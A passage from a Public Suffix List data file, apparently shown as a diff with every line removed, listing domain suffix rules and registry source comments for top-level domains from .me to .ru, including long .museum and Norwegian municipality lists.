-co.me -net.me -org.me -edu.me -ac.me -gov.me -its.me -priv.me - -// mg : http://www.nic.mg/tarif.htm -mg -org.mg -nom.mg -gov.mg -prd.mg -tm.mg -edu.mg -mil.mg -com.mg - -// mh : http://en.wikipedia.org/wiki/.mh -mh - -// mil : http://en.wikipedia.org/wiki/.mil -mil - -// mk : http://en.wikipedia.org/wiki/.mk -// see also: http://dns.marnet.net.mk/postapka.php -mk -com.mk -org.mk -net.mk -edu.mk -gov.mk -inf.mk -name.mk - -// ml : http://www.gobin.info/domainname/ml-template.doc -// see also: http://en.wikipedia.org/wiki/.ml -ml -com.ml -edu.ml -gouv.ml -gov.ml -net.ml -org.ml -presse.ml - -// mm : http://en.wikipedia.org/wiki/.mm -*.mm - -// mn : http://en.wikipedia.org/wiki/.mn -mn -gov.mn -edu.mn -org.mn - -// mo : http://www.monic.net.mo/ -mo -com.mo -net.mo -org.mo -edu.mo -gov.mo - -// mobi : http://en.wikipedia.org/wiki/.mobi -mobi - -// mp : http://www.dot.mp/ -// Confirmed by registry 2008-06-17 -mp - -// mq : http://en.wikipedia.org/wiki/.mq -mq - -// mr : http://en.wikipedia.org/wiki/.mr -mr -gov.mr - -// ms : http://en.wikipedia.org/wiki/.ms -ms - -// mt : https://www.nic.org.mt/dotmt/ -*.mt - -// mu : http://en.wikipedia.org/wiki/.mu -mu -com.mu -net.mu -org.mu -gov.mu -ac.mu -co.mu -or.mu - -// museum : http://about.museum/naming/ -// http://index.museum/ -museum -academy.museum -agriculture.museum -air.museum -airguard.museum -alabama.museum -alaska.museum -amber.museum -ambulance.museum -american.museum -americana.museum -americanantiques.museum -americanart.museum -amsterdam.museum -and.museum -annefrank.museum -anthro.museum -anthropology.museum -antiques.museum -aquarium.museum -arboretum.museum -archaeological.museum -archaeology.museum -architecture.museum -art.museum -artanddesign.museum -artcenter.museum -artdeco.museum -arteducation.museum -artgallery.museum -arts.museum -artsandcrafts.museum -asmatart.museum -assassination.museum -assisi.museum -association.museum -astronomy.museum -atlanta.museum -austin.museum -australia.museum -automotive.museum -aviation.museum -axis.museum -badajoz.museum -baghdad.museum -bahn.museum -bale.museum -baltimore.museum -barcelona.museum -baseball.museum -basel.museum -baths.museum -bauern.museum -beauxarts.museum -beeldengeluid.museum -bellevue.museum -bergbau.museum -berkeley.museum -berlin.museum -bern.museum -bible.museum -bilbao.museum -bill.museum -birdart.museum -birthplace.museum -bonn.museum -boston.museum -botanical.museum -botanicalgarden.museum -botanicgarden.museum -botany.museum -brandywinevalley.museum -brasil.museum -bristol.museum -british.museum -britishcolumbia.museum -broadcast.museum -brunel.museum -brussel.museum -brussels.museum -bruxelles.museum -building.museum -burghof.museum -bus.museum -bushey.museum -cadaques.museum -california.museum -cambridge.museum -can.museum -canada.museum -capebreton.museum -carrier.museum -cartoonart.museum -casadelamoneda.museum -castle.museum -castres.museum -celtic.museum -center.museum -chattanooga.museum -cheltenham.museum -chesapeakebay.museum -chicago.museum -children.museum -childrens.museum -childrensgarden.museum -chiropractic.museum -chocolate.museum -christiansburg.museum -cincinnati.museum -cinema.museum -circus.museum -civilisation.museum -civilization.museum -civilwar.museum -clinton.museum -clock.museum -coal.museum -coastaldefence.museum -cody.museum -coldwar.museum -collection.museum -colonialwilliamsburg.museum -coloradoplateau.museum -columbia.museum -columbus.museum -communication.museum -communications.museum -community.museum -computer.museum -computerhistory.museum -comunicações.museum -contemporary.museum -contemporaryart.museum -convent.museum -copenhagen.museum -corporation.museum -correios-e-telecomunicações.museum -corvette.museum -costume.museum -countryestate.museum -county.museum -crafts.museum -cranbrook.museum -creation.museum -cultural.museum -culturalcenter.museum -culture.museum -cyber.museum -cymru.museum -dali.museum -dallas.museum -database.museum -ddr.museum -decorativearts.museum -delaware.museum -delmenhorst.museum -denmark.museum -depot.museum -design.museum -detroit.museum -dinosaur.museum -discovery.museum -dolls.museum -donostia.museum -durham.museum -eastafrica.museum -eastcoast.museum -education.museum -educational.museum -egyptian.museum -eisenbahn.museum -elburg.museum -elvendrell.museum -embroidery.museum -encyclopedic.museum -england.museum -entomology.museum -environment.museum -environmentalconservation.museum -epilepsy.museum -essex.museum -estate.museum -ethnology.museum -exeter.museum -exhibition.museum -family.museum -farm.museum -farmequipment.museum -farmers.museum -farmstead.museum -field.museum -figueres.museum -filatelia.museum -film.museum -fineart.museum -finearts.museum -finland.museum -flanders.museum -florida.museum -force.museum -fortmissoula.museum -fortworth.museum -foundation.museum -francaise.museum -frankfurt.museum -franziskaner.museum -freemasonry.museum -freiburg.museum -fribourg.museum -frog.museum -fundacio.museum -furniture.museum -gallery.museum -garden.museum -gateway.museum -geelvinck.museum -gemological.museum -geology.museum -georgia.museum -giessen.museum -glas.museum -glass.museum -gorge.museum -grandrapids.museum -graz.museum -guernsey.museum -halloffame.museum -hamburg.museum -handson.museum -harvestcelebration.museum -hawaii.museum -health.museum -heimatunduhren.museum -hellas.museum -helsinki.museum -hembygdsforbund.museum -heritage.museum -histoire.museum -historical.museum -historicalsociety.museum -historichouses.museum -historisch.museum -historisches.museum -history.museum -historyofscience.museum -horology.museum -house.museum -humanities.museum -illustration.museum -imageandsound.museum -indian.museum -indiana.museum -indianapolis.museum -indianmarket.museum -intelligence.museum -interactive.museum -iraq.museum -iron.museum -isleofman.museum -jamison.museum -jefferson.museum -jerusalem.museum -jewelry.museum -jewish.museum -jewishart.museum -jfk.museum -journalism.museum -judaica.museum -judygarland.museum -juedisches.museum -juif.museum -karate.museum -karikatur.museum -kids.museum -koebenhavn.museum -koeln.museum -kunst.museum -kunstsammlung.museum -kunstunddesign.museum -labor.museum -labour.museum -lajolla.museum -lancashire.museum -landes.museum -lans.museum -läns.museum -larsson.museum -lewismiller.museum -lincoln.museum -linz.museum -living.museum -livinghistory.museum -localhistory.museum -london.museum -losangeles.museum -louvre.museum -loyalist.museum -lucerne.museum -luxembourg.museum -luzern.museum -mad.museum -madrid.museum -mallorca.museum -manchester.museum -mansion.museum -mansions.museum -manx.museum -marburg.museum -maritime.museum -maritimo.museum -maryland.museum -marylhurst.museum -media.museum -medical.museum -medizinhistorisches.museum -meeres.museum -memorial.museum -mesaverde.museum -michigan.museum -midatlantic.museum -military.museum -mill.museum -miners.museum -mining.museum -minnesota.museum -missile.museum -missoula.museum -modern.museum -moma.museum -money.museum -monmouth.museum -monticello.museum -montreal.museum -moscow.museum -motorcycle.museum -muenchen.museum -muenster.museum -mulhouse.museum -muncie.museum -museet.museum -museumcenter.museum -museumvereniging.museum -music.museum -national.museum -nationalfirearms.museum -nationalheritage.museum -nativeamerican.museum -naturalhistory.museum -naturalhistorymuseum.museum -naturalsciences.museum -nature.museum -naturhistorisches.museum -natuurwetenschappen.museum -naumburg.museum -naval.museum -nebraska.museum -neues.museum -newhampshire.museum -newjersey.museum -newmexico.museum -newport.museum -newspaper.museum -newyork.museum -niepce.museum -norfolk.museum -north.museum -nrw.museum -nuernberg.museum -nuremberg.museum -nyc.museum -nyny.museum -oceanographic.museum -oceanographique.museum -omaha.museum -online.museum -ontario.museum -openair.museum -oregon.museum -oregontrail.museum -otago.museum -oxford.museum -pacific.museum -paderborn.museum -palace.museum -paleo.museum -palmsprings.museum -panama.museum -paris.museum -pasadena.museum -pharmacy.museum -philadelphia.museum -philadelphiaarea.museum -philately.museum -phoenix.museum -photography.museum -pilots.museum -pittsburgh.museum -planetarium.museum -plantation.museum -plants.museum -plaza.museum -portal.museum -portland.museum -portlligat.museum -posts-and-telecommunications.museum -preservation.museum -presidio.museum -press.museum -project.museum -public.museum -pubol.museum -quebec.museum -railroad.museum -railway.museum -research.museum -resistance.museum -riodejaneiro.museum -rochester.museum -rockart.museum -roma.museum -russia.museum -saintlouis.museum -salem.museum -salvadordali.museum -salzburg.museum -sandiego.museum -sanfrancisco.museum -santabarbara.museum -santacruz.museum -santafe.museum -saskatchewan.museum -satx.museum -savannahga.museum -schlesisches.museum -schoenbrunn.museum -schokoladen.museum -school.museum -schweiz.museum -science.museum -scienceandhistory.museum -scienceandindustry.museum -sciencecenter.museum -sciencecenters.museum -science-fiction.museum -sciencehistory.museum -sciences.museum -sciencesnaturelles.museum -scotland.museum -seaport.museum -settlement.museum -settlers.museum -shell.museum -sherbrooke.museum -sibenik.museum -silk.museum -ski.museum -skole.museum -society.museum -sologne.museum -soundandvision.museum -southcarolina.museum -southwest.museum -space.museum -spy.museum -square.museum -stadt.museum -stalbans.museum -starnberg.museum -state.museum -stateofdelaware.museum -station.museum -steam.museum -steiermark.museum -stjohn.museum -stockholm.museum -stpetersburg.museum -stuttgart.museum -suisse.museum -surgeonshall.museum -surrey.museum -svizzera.museum -sweden.museum -sydney.museum -tank.museum -tcm.museum -technology.museum -telekommunikation.museum -television.museum -texas.museum -textile.museum -theater.museum -time.museum -timekeeping.museum -topology.museum -torino.museum -touch.museum -town.museum -transport.museum -tree.museum -trolley.museum -trust.museum -trustee.museum -uhren.museum -ulm.museum -undersea.museum -university.museum -usa.museum -usantiques.museum -usarts.museum -uscountryestate.museum -usculture.museum -usdecorativearts.museum -usgarden.museum -ushistory.museum -ushuaia.museum -uslivinghistory.museum -utah.museum -uvic.museum -valley.museum -vantaa.museum -versailles.museum -viking.museum -village.museum -virginia.museum -virtual.museum -virtuel.museum -vlaanderen.museum -volkenkunde.museum -wales.museum -wallonie.museum -war.museum -washingtondc.museum -watchandclock.museum -watch-and-clock.museum -western.museum -westfalen.museum -whaling.museum -wildlife.museum -williamsburg.museum -windmill.museum -workshop.museum -york.museum -yorkshire.museum -yosemite.museum -youth.museum -zoological.museum -zoology.museum -ירושלים.museum -иком.museum - -// mv : http://en.wikipedia.org/wiki/.mv -// "mv" included because, contra Wikipedia, google.mv exists. -mv -aero.mv -biz.mv -com.mv -coop.mv -edu.mv -gov.mv -info.mv -int.mv -mil.mv -museum.mv -name.mv -net.mv -org.mv -pro.mv - -// mw : http://www.registrar.mw/ -mw -ac.mw -biz.mw -co.mw -com.mw -coop.mw -edu.mw -gov.mw -int.mw -museum.mw -net.mw -org.mw - -// mx : http://www.nic.mx/ -// Submitted by registry 2008-06-19 -mx -com.mx -org.mx -gob.mx -edu.mx -net.mx - -// my : http://www.mynic.net.my/ -my -com.my -net.my -org.my -gov.my -edu.my -mil.my -name.my - -// mz : http://www.gobin.info/domainname/mz-template.doc -*.mz - -// na : http://www.na-nic.com.na/ -// http://www.info.na/domain/ -na -info.na -pro.na -name.na -school.na -or.na -dr.na -us.na -mx.na -ca.na -in.na -cc.na -tv.na -ws.na -mobi.na -co.na -com.na -org.na - -// name : has 2nd-level tlds, but there's no list of them -name - -// nc : http://www.cctld.nc/ -nc -asso.nc - -// ne : http://en.wikipedia.org/wiki/.ne -ne - -// net : http://en.wikipedia.org/wiki/.net -net - -// CentralNic names : http://www.centralnic.com/names/domains -// Submitted by registry 2008-06-17 -gb.net -se.net -uk.net - -// ZaNiC names : http://www.za.net/ -// Confirmed by registry 2009-10-03 -za.net - -// nf : http://en.wikipedia.org/wiki/.nf -nf -com.nf -net.nf -per.nf -rec.nf -web.nf -arts.nf -firm.nf -info.nf -other.nf -store.nf - -// ng : http://psg.com/dns/ng/ -// Submitted by registry 2008-06-17 -ac.ng -com.ng -edu.ng -gov.ng -net.ng -org.ng - -// ni : http://www.nic.ni/dominios.htm -*.ni - -// nl : http://www.domain-registry.nl/ace.php/c,728,122,,,,Home.html -// Confirmed by registry (with technical -// reservations) 2008-06-08 -nl - -// BV.nl will be a registry for dutch BV's (besloten vennootschap) -bv.nl - -// the co.nl domain is managed by CoDNS B.V. Added 2010-05-23. -co.nl - -// no : http://www.norid.no/regelverk/index.en.html -// The Norwegian registry has declined to notify us of updates. The web pages -// referenced below are the official source of the data. There is also an -// announce mailing list: -// https://postlister.uninett.no/sympa/info/norid-diskusjon -no -// Norid generic domains : http://www.norid.no/regelverk/vedlegg-c.en.html -fhs.no -vgs.no -fylkesbibl.no -folkebibl.no -museum.no -idrett.no -priv.no -// Non-Norid generic domains : http://www.norid.no/regelverk/vedlegg-d.en.html -mil.no -stat.no -dep.no -kommune.no -herad.no -// no geographical names : http://www.norid.no/regelverk/vedlegg-b.en.html -// counties -aa.no -ah.no -bu.no -fm.no -hl.no -hm.no -jan-mayen.no -mr.no -nl.no -nt.no -of.no -ol.no -oslo.no -rl.no -sf.no -st.no -svalbard.no -tm.no -tr.no -va.no -vf.no -// primary and lower secondary schools per county -gs.aa.no -gs.ah.no -gs.bu.no -gs.fm.no -gs.hl.no -gs.hm.no -gs.jan-mayen.no -gs.mr.no -gs.nl.no -gs.nt.no -gs.of.no -gs.ol.no -gs.oslo.no -gs.rl.no -gs.sf.no -gs.st.no -gs.svalbard.no -gs.tm.no -gs.tr.no -gs.va.no -gs.vf.no -// cities -akrehamn.no -åkrehamn.no -algard.no -ålgård.no -arna.no -brumunddal.no -bryne.no -bronnoysund.no -brønnøysund.no -drobak.no -drøbak.no -egersund.no -fetsund.no -floro.no -florø.no -fredrikstad.no -hokksund.no -honefoss.no -hønefoss.no -jessheim.no -jorpeland.no -jørpeland.no -kirkenes.no -kopervik.no -krokstadelva.no -langevag.no -langevåg.no -leirvik.no -mjondalen.no -mjøndalen.no -mo-i-rana.no -mosjoen.no -mosjøen.no -nesoddtangen.no -orkanger.no -osoyro.no -osøyro.no -raholt.no -råholt.no -sandnessjoen.no -sandnessjøen.no -skedsmokorset.no -slattum.no -spjelkavik.no -stathelle.no -stavern.no -stjordalshalsen.no -stjørdalshalsen.no -tananger.no -tranby.no -vossevangen.no -// communities -afjord.no -åfjord.no -agdenes.no -al.no -ål.no -alesund.no -ålesund.no -alstahaug.no -alta.no -áltá.no -alaheadju.no -álaheadju.no -alvdal.no -amli.no -åmli.no -amot.no -åmot.no -andebu.no -andoy.no -andøy.no -andasuolo.no -ardal.no -årdal.no -aremark.no -arendal.no -ås.no -aseral.no -åseral.no -asker.no -askim.no -askvoll.no -askoy.no -askøy.no -asnes.no -åsnes.no -audnedaln.no -aukra.no -aure.no -aurland.no -aurskog-holand.no -aurskog-høland.no -austevoll.no -austrheim.no -averoy.no -averøy.no -balestrand.no -ballangen.no -balat.no -bálát.no -balsfjord.no -bahccavuotna.no -báhccavuotna.no -bamble.no -bardu.no -beardu.no -beiarn.no -bajddar.no -bájddar.no -baidar.no -báidár.no -berg.no -bergen.no -berlevag.no -berlevåg.no -bearalvahki.no -bearalváhki.no -bindal.no -birkenes.no -bjarkoy.no -bjarkøy.no -bjerkreim.no -bjugn.no -bodo.no -bodø.no -badaddja.no -bådåddjå.no -budejju.no -bokn.no -bremanger.no -bronnoy.no -brønnøy.no -bygland.no -bykle.no -barum.no -bærum.no -bo.telemark.no -bø.telemark.no -bo.nordland.no -bø.nordland.no -bievat.no -bievát.no -bomlo.no -bømlo.no -batsfjord.no -båtsfjord.no -bahcavuotna.no -báhcavuotna.no -dovre.no -drammen.no -drangedal.no -dyroy.no -dyrøy.no -donna.no -dønna.no -eid.no -eidfjord.no -eidsberg.no -eidskog.no -eidsvoll.no -eigersund.no -elverum.no -enebakk.no -engerdal.no -etne.no -etnedal.no -evenes.no -evenassi.no -evenášši.no -evje-og-hornnes.no -farsund.no -fauske.no -fuossko.no -fuoisku.no -fedje.no -fet.no -finnoy.no -finnøy.no -fitjar.no -fjaler.no -fjell.no -flakstad.no -flatanger.no -flekkefjord.no -flesberg.no -flora.no -fla.no -flå.no -folldal.no -forsand.no -fosnes.no -frei.no -frogn.no -froland.no -frosta.no -frana.no -fræna.no -froya.no -frøya.no -fusa.no -fyresdal.no -forde.no -førde.no -gamvik.no -gangaviika.no -gáŋgaviika.no -gaular.no -gausdal.no -gildeskal.no -gildeskål.no -giske.no -gjemnes.no -gjerdrum.no -gjerstad.no -gjesdal.no -gjovik.no -gjøvik.no -gloppen.no -gol.no -gran.no -grane.no -granvin.no -gratangen.no -grimstad.no -grong.no -kraanghke.no -kråanghke.no -grue.no -gulen.no -hadsel.no -halden.no -halsa.no -hamar.no -hamaroy.no -habmer.no -hábmer.no -hapmir.no -hápmir.no -hammerfest.no -hammarfeasta.no -hámmárfeasta.no -haram.no -hareid.no -harstad.no -hasvik.no -aknoluokta.no -ákŋoluokta.no -hattfjelldal.no -aarborte.no -haugesund.no -hemne.no -hemnes.no -hemsedal.no -heroy.more-og-romsdal.no -herøy.møre-og-romsdal.no -heroy.nordland.no -herøy.nordland.no -hitra.no -hjartdal.no -hjelmeland.no -hobol.no -hobøl.no -hof.no -hol.no -hole.no -holmestrand.no -holtalen.no -holtålen.no -hornindal.no -horten.no -hurdal.no -hurum.no -hvaler.no -hyllestad.no -hagebostad.no -hægebostad.no -hoyanger.no -høyanger.no -hoylandet.no -høylandet.no -ha.no -hå.no -ibestad.no -inderoy.no -inderøy.no -iveland.no -jevnaker.no -jondal.no -jolster.no -jølster.no -karasjok.no -karasjohka.no -kárášjohka.no -karlsoy.no -galsa.no -gálsá.no -karmoy.no -karmøy.no -kautokeino.no -guovdageaidnu.no -klepp.no -klabu.no -klæbu.no -kongsberg.no -kongsvinger.no -kragero.no -kragerø.no -kristiansand.no -kristiansund.no -krodsherad.no -krødsherad.no -kvalsund.no -rahkkeravju.no -ráhkkerávju.no -kvam.no -kvinesdal.no -kvinnherad.no -kviteseid.no -kvitsoy.no -kvitsøy.no -kvafjord.no -kvæfjord.no -giehtavuoatna.no -kvanangen.no -kvænangen.no -navuotna.no -návuotna.no -kafjord.no -kåfjord.no -gaivuotna.no -gáivuotna.no -larvik.no -lavangen.no -lavagis.no -loabat.no -loabát.no -lebesby.no -davvesiida.no -leikanger.no -leirfjord.no -leka.no -leksvik.no -lenvik.no -leangaviika.no -leaŋgaviika.no -lesja.no -levanger.no -lier.no -lierne.no -lillehammer.no -lillesand.no -lindesnes.no -lindas.no -lindås.no -lom.no -loppa.no -lahppi.no -láhppi.no -lund.no -lunner.no -luroy.no -lurøy.no -luster.no -lyngdal.no -lyngen.no -ivgu.no -lardal.no -lerdal.no -lærdal.no -lodingen.no -lødingen.no -lorenskog.no -lørenskog.no -loten.no -løten.no -malvik.no -masoy.no -måsøy.no -muosat.no -muosát.no -mandal.no -marker.no -marnardal.no -masfjorden.no -meland.no -meldal.no -melhus.no -meloy.no -meløy.no -meraker.no -meråker.no -moareke.no -moåreke.no -midsund.no -midtre-gauldal.no -modalen.no -modum.no -molde.no -moskenes.no -moss.no -mosvik.no -malselv.no -målselv.no -malatvuopmi.no -málatvuopmi.no -namdalseid.no -aejrie.no -namsos.no -namsskogan.no -naamesjevuemie.no -nååmesjevuemie.no -laakesvuemie.no -nannestad.no -narvik.no -narviika.no -naustdal.no -nedre-eiker.no -nes.akershus.no -nes.buskerud.no -nesna.no -nesodden.no -nesseby.no -unjarga.no -unjárga.no -nesset.no -nissedal.no -nittedal.no -nord-aurdal.no -nord-fron.no -nord-odal.no -norddal.no -nordkapp.no -davvenjarga.no -davvenjárga.no -nordre-land.no -nordreisa.no -raisa.no -ráisa.no -nore-og-uvdal.no -notodden.no -naroy.no -nærøy.no -notteroy.no -nøtterøy.no -odda.no -oksnes.no -øksnes.no -oppdal.no -oppegard.no -oppegård.no -orkdal.no -orland.no -ørland.no -orskog.no -ørskog.no -orsta.no -ørsta.no -os.hedmark.no -os.hordaland.no -osen.no -osteroy.no -osterøy.no -ostre-toten.no -østre-toten.no -overhalla.no -ovre-eiker.no -øvre-eiker.no -oyer.no -øyer.no -oygarden.no -øygarden.no -oystre-slidre.no -øystre-slidre.no -porsanger.no -porsangu.no -porsáŋgu.no -porsgrunn.no -radoy.no -radøy.no -rakkestad.no -rana.no -ruovat.no -randaberg.no -rauma.no -rendalen.no -rennebu.no -rennesoy.no -rennesøy.no -rindal.no -ringebu.no -ringerike.no -ringsaker.no -rissa.no -risor.no -risør.no -roan.no -rollag.no -rygge.no -ralingen.no -rælingen.no -rodoy.no -rødøy.no -romskog.no -rømskog.no -roros.no -røros.no -rost.no -røst.no -royken.no -røyken.no -royrvik.no -røyrvik.no -rade.no -råde.no -salangen.no -siellak.no -saltdal.no -salat.no -sálát.no -sálat.no -samnanger.no -sande.more-og-romsdal.no -sande.møre-og-romsdal.no -sande.vestfold.no -sandefjord.no -sandnes.no -sandoy.no -sandøy.no -sarpsborg.no -sauda.no -sauherad.no -sel.no -selbu.no -selje.no -seljord.no -sigdal.no -siljan.no -sirdal.no -skaun.no -skedsmo.no -ski.no -skien.no -skiptvet.no -skjervoy.no -skjervøy.no -skierva.no -skiervá.no -skjak.no -skjåk.no -skodje.no -skanland.no -skånland.no -skanit.no -skánit.no -smola.no -smøla.no -snillfjord.no -snasa.no -snåsa.no -snoasa.no -snaase.no -snåase.no -sogndal.no -sokndal.no -sola.no -solund.no -songdalen.no -sortland.no -spydeberg.no -stange.no -stavanger.no -steigen.no -steinkjer.no -stjordal.no -stjørdal.no -stokke.no -stor-elvdal.no -stord.no -stordal.no -storfjord.no -omasvuotna.no -strand.no -stranda.no -stryn.no -sula.no -suldal.no -sund.no -sunndal.no -surnadal.no -sveio.no -svelvik.no -sykkylven.no -sogne.no -søgne.no -somna.no -sømna.no -sondre-land.no -søndre-land.no -sor-aurdal.no -sør-aurdal.no -sor-fron.no -sør-fron.no -sor-odal.no -sør-odal.no -sor-varanger.no -sør-varanger.no -matta-varjjat.no -mátta-várjjat.no -sorfold.no -sørfold.no -sorreisa.no -sørreisa.no -sorum.no -sørum.no -tana.no -deatnu.no -time.no -tingvoll.no -tinn.no -tjeldsund.no -dielddanuorri.no -tjome.no -tjøme.no -tokke.no -tolga.no -torsken.no -tranoy.no -tranøy.no -tromso.no -tromsø.no -tromsa.no -romsa.no -trondheim.no -troandin.no -trysil.no -trana.no -træna.no -trogstad.no -trøgstad.no -tvedestrand.no -tydal.no -tynset.no -tysfjord.no -divtasvuodna.no -divttasvuotna.no -tysnes.no -tysvar.no -tysvær.no -tonsberg.no -tønsberg.no -ullensaker.no -ullensvang.no -ulvik.no -utsira.no -vadso.no -vadsø.no -cahcesuolo.no -čáhcesuolo.no -vaksdal.no -valle.no -vang.no -vanylven.no -vardo.no -vardø.no -varggat.no -várggát.no -vefsn.no -vaapste.no -vega.no -vegarshei.no -vegårshei.no -vennesla.no -verdal.no -verran.no -vestby.no -vestnes.no -vestre-slidre.no -vestre-toten.no -vestvagoy.no -vestvågøy.no -vevelstad.no -vik.no -vikna.no -vindafjord.no -volda.no -voss.no -varoy.no -værøy.no -vagan.no -vågan.no -voagat.no -vagsoy.no -vågsøy.no -vaga.no -vågå.no -valer.ostfold.no -våler.østfold.no -valer.hedmark.no -våler.hedmark.no - -// the co.no domain is managed by CoDNS B.V. Added 2010-05-23. -co.no - -// np : http://www.mos.com.np/register.html -*.np - -// nr : http://cenpac.net.nr/dns/index.html -// Confirmed by registry 2008-06-17 -nr -biz.nr -info.nr -gov.nr -edu.nr -org.nr -net.nr -com.nr - -// nu : http://en.wikipedia.org/wiki/.nu -nu - -// nz : http://en.wikipedia.org/wiki/.nz -*.nz - -// om : http://en.wikipedia.org/wiki/.om -*.om -!mediaphone.om -!nawrastelecom.om -!nawras.om -!omanmobile.om -!omanpost.om -!omantel.om -!rakpetroleum.om -!siemens.om -!songfest.om -!statecouncil.om - -// org : http://en.wikipedia.org/wiki/.org -org - -// CentralNic names : http://www.centralnic.com/names/domains -// Submitted by registry 2008-06-17 -ae.org - -// ZaNiC names : http://www.za.net/ -// Confirmed by registry 2009-10-03 -za.org - -// pa : http://www.nic.pa/ -// Some additional second level "domains" resolve directly as hostnames, such as -// pannet.pa, so we add a rule for "pa". -pa -ac.pa -gob.pa -com.pa -org.pa -sld.pa -edu.pa -net.pa -ing.pa -abo.pa -med.pa -nom.pa - -// pe : https://www.nic.pe/InformeFinalComision.pdf -pe -edu.pe -gob.pe -nom.pe -mil.pe -org.pe -com.pe -net.pe - -// pf : http://www.gobin.info/domainname/formulaire-pf.pdf -pf -com.pf -org.pf -edu.pf - -// pg : http://en.wikipedia.org/wiki/.pg -*.pg - -// ph : http://www.domains.ph/FAQ2.asp -// Submitted by registry 2008-06-13 -ph -com.ph -net.ph -org.ph -gov.ph -edu.ph -ngo.ph -mil.ph -i.ph - -// pk : http://pk5.pknic.net.pk/pk5/msgNamepk.PK -pk -com.pk -net.pk -edu.pk -org.pk -fam.pk -biz.pk -web.pk -gov.pk -gob.pk -gok.pk -gon.pk -gop.pk -gos.pk -info.pk - -// pl : http://www.dns.pl/english/ -pl -// NASK functional domains (nask.pl / dns.pl) : http://www.dns.pl/english/dns-funk.html -aid.pl -agro.pl -atm.pl -auto.pl -biz.pl -com.pl -edu.pl -gmina.pl -gsm.pl -info.pl -mail.pl -miasta.pl -media.pl -mil.pl -net.pl -nieruchomosci.pl -nom.pl -org.pl -pc.pl -powiat.pl -priv.pl -realestate.pl -rel.pl -sex.pl -shop.pl -sklep.pl -sos.pl -szkola.pl -targi.pl -tm.pl -tourism.pl -travel.pl -turystyka.pl -// ICM functional domains (icm.edu.pl) -6bone.pl -art.pl -mbone.pl -// Government domains (administred by ippt.gov.pl) -gov.pl -uw.gov.pl -um.gov.pl -ug.gov.pl -upow.gov.pl -starostwo.gov.pl -so.gov.pl -sr.gov.pl -po.gov.pl -pa.gov.pl -// other functional domains -ngo.pl -irc.pl -usenet.pl -// NASK geographical domains : http://www.dns.pl/english/dns-regiony.html -augustow.pl -babia-gora.pl -bedzin.pl -beskidy.pl -bialowieza.pl -bialystok.pl -bielawa.pl -bieszczady.pl -boleslawiec.pl -bydgoszcz.pl -bytom.pl -cieszyn.pl -czeladz.pl -czest.pl -dlugoleka.pl -elblag.pl -elk.pl -glogow.pl -gniezno.pl -gorlice.pl -grajewo.pl -ilawa.pl -jaworzno.pl -jelenia-gora.pl -jgora.pl -kalisz.pl -kazimierz-dolny.pl -karpacz.pl -kartuzy.pl -kaszuby.pl -katowice.pl -kepno.pl -ketrzyn.pl -klodzko.pl -kobierzyce.pl -kolobrzeg.pl -konin.pl -konskowola.pl -kutno.pl -lapy.pl -lebork.pl -legnica.pl -lezajsk.pl -limanowa.pl -lomza.pl -lowicz.pl -lubin.pl -lukow.pl -malbork.pl -malopolska.pl -mazowsze.pl -mazury.pl -mielec.pl -mielno.pl -mragowo.pl -naklo.pl -nowaruda.pl -nysa.pl -olawa.pl -olecko.pl -olkusz.pl -olsztyn.pl -opoczno.pl -opole.pl -ostroda.pl -ostroleka.pl -ostrowiec.pl -ostrowwlkp.pl -pila.pl -pisz.pl -podhale.pl -podlasie.pl -polkowice.pl -pomorze.pl -pomorskie.pl -prochowice.pl -pruszkow.pl -przeworsk.pl -pulawy.pl -radom.pl -rawa-maz.pl -rybnik.pl -rzeszow.pl -sanok.pl -sejny.pl -siedlce.pl -slask.pl -slupsk.pl -sosnowiec.pl -stalowa-wola.pl -skoczow.pl -starachowice.pl -stargard.pl -suwalki.pl -swidnica.pl -swiebodzin.pl -swinoujscie.pl -szczecin.pl -szczytno.pl -tarnobrzeg.pl -tgory.pl -turek.pl -tychy.pl -ustka.pl -walbrzych.pl -warmia.pl -warszawa.pl -waw.pl -wegrow.pl -wielun.pl -wlocl.pl -wloclawek.pl -wodzislaw.pl -wolomin.pl -wroclaw.pl -zachpomor.pl -zagan.pl -zarow.pl -zgora.pl -zgorzelec.pl -// TASK geographical domains (www.task.gda.pl/uslugi/dns) -gda.pl -gdansk.pl -gdynia.pl -med.pl -sopot.pl -// other geographical domains -gliwice.pl -krakow.pl -poznan.pl -wroc.pl -zakopane.pl - -// co.pl : Mainseek Sp. z o.o. http://www.co.pl -co.pl - -// pn : http://www.government.pn/PnRegistry/policies.htm -pn -gov.pn -co.pn -org.pn -edu.pn -net.pn - -// pr : http://www.nic.pr/index.asp?f=1 -pr -com.pr -net.pr -org.pr -gov.pr -edu.pr -isla.pr -pro.pr -biz.pr -info.pr -name.pr -// these aren't mentioned on nic.pr, but on http://en.wikipedia.org/wiki/.pr -est.pr -prof.pr -ac.pr - -// pro : http://www.nic.pro/support_faq.htm -pro -aca.pro -bar.pro -cpa.pro -jur.pro -law.pro -med.pro -eng.pro - -// ps : http://en.wikipedia.org/wiki/.ps -// http://www.nic.ps/registration/policy.html#reg -ps -edu.ps -gov.ps -sec.ps -plo.ps -com.ps -org.ps -net.ps - -// pt : http://online.dns.pt/dns/start_dns -pt -net.pt -gov.pt -org.pt -edu.pt -int.pt -publ.pt -com.pt -nome.pt - -// pw : http://en.wikipedia.org/wiki/.pw -pw -co.pw -ne.pw -or.pw -ed.pw -go.pw -belau.pw - -// py : http://www.nic.py/faq_a.html#faq_b -*.py - -// qa : http://www.qatar.net.qa/services/virtual.htm -*.qa - -// re : http://www.afnic.re/obtenir/chartes/nommage-re/annexe-descriptifs -re -com.re -asso.re -nom.re - -// ro : http://www.rotld.ro/ -ro -com.ro -org.ro -tm.ro -nt.ro -nom.ro -info.ro -rec.ro -arts.ro -firm.ro -store.ro -www.ro - -// rs : http://en.wikipedia.org/wiki/.rs -rs -co.rs -org.rs -edu.rs -ac.rs -gov.rs -in.rs - -// ru : http://www.cctld.ru/ru/docs/aktiv_8.php -// Industry domains -ru -ac.ru -com.ru -edu.ru -int.ru -net.ru -org.ru -pp.ru -// Geographical domains -adygeya.ru -altai.ru -amur.ru -arkhangelsk.ru -astrakhan.ru -bashkiria.ru -belgorod.ru -bir.ru -bryansk.ru -buryatia.ru -cbg.ru -chel.ru -chelyabinsk.ru -chita.ru -chukotka.ru -chuvashia.ru -dagestan.ru -dudinka.ru -e-burg.ru -grozny.ru -irkutsk.ru -ivanovo.ru -izhevsk.ru -jar.ru -joshkar-ola.ru -kalmykia.ru -kaluga.ru -kamchatka.ru -karelia.ru -kazan.ru -kchr.ru -kemerovo.ru -khabarovsk.ru -khakassia.ru -khv.ru -kirov.ru -koenig.ru -komi.ru 